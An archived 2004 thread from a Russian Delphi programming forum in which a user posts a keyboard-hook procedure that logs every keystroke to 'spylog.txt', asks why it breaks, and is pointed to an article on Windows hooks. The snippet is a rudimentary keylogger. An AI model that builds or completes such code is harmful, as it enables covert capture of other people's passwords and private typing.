Текущий архив: 2004.06.13;
Скачать: CL | DM;

Вниз

Не работает перехват сообщения   Найти похожие ветки 

← →
faith   (2004-05-05 14:40) [0]

После записи в файл перестают перехватываться сообщения, кстати и файл сам не записывается. Странно как-то, если кто знает подкажите, пожалуйста.


function KeyboardProc(nCode:integer; wParam, lParam: Longint):Longint;
 stdcall;
var wrkStr: ShortString;
   tfile : textfile;
begin
 if nCode <0 then begin
   Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
   exit;
 end;

   case wParam of
     VK_ESCAPE : wrkStr := ""ESC"";
     VK_RETURN : wrkStr := ""ENTER"";
   else
     wrkStr := Chr(MapVirtualKey(wParam,2));
   end;

   AssignFile(tfile,"spylog.txt");
   Rewrite(tFile);
   writeln(tFile,wrkStr);
   CloseFile(tFile);

 Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
end;

---

← →
VMcL ©   (2004-05-05 17:41) [1]

>>faith  (05.05.04 14:40)

http://www.delphimaster.ru/articles/hooks/index.html
?

---

← →
faith   (2004-05-05 23:44) [2]

Класно, что-то умное и интересное. Сейчас прочту. Спасибо, ссылка хорошая.

---

← →
faith   (2004-05-08 18:15) [3]

Спасибо за ссылку, очень помогло. Хотя в их примере есть одна ошибка, но это несущественно. Самый грамотный мануал по этой теме! Кому нужен результат с исходниками (получилась довольно неплохо), пишите!

---

Страницы: 1 вся ветка

Текущий архив: 2004.06.13;
Скачать: CL | DM;

Наверх

Память: 0.47 MB
Время: 0.037 c